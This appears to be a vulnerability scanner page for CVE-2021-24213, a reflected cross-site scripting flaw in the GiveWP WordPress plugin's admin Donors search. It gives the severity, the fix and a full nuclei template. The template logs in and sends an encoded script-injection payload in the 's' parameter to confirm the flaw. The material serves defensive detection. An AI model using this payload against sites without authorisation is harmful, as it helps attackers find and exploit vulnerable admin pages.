GiveWP <= 2.9.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress versions before 2.10.0 is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in the admin Donors page.

Impact

Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.

Fix

Update GiveWP plugin to version 2.10.0 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/edit.php?post_type=give_forms&page=give-donors&view=donors&s=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "><script>alert(document.domain)</script>", "give-donors")

Run it with nuclei: nuclei -id CVE-2021-24213 -u <target>

The full check

id: CVE-2021-24213

info:
  name: GiveWP <= 2.9.7 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress versions before 2.10.0 is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in the admin Donors page.
  impact: |
    Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
  remediation: |
    Update GiveWP plugin to version 2.10.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24213
    - https://wpscan.com/vulnerability/da4ab508-a423-4c7f-a1d4-42ec6f989309
    - https://bentl.ee/posts/cve-givewp/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24213
    epss-score: 0.0137
    epss-percentile: 0.72157
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: givewp
    product: givewp
    framework: wordpress
  tags: cve,cve2021,wordpress,wp,wp-plugin,give,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=give_forms&page=give-donors&view=donors&s=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><script>alert(document.domain)</script>", "give-donors")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from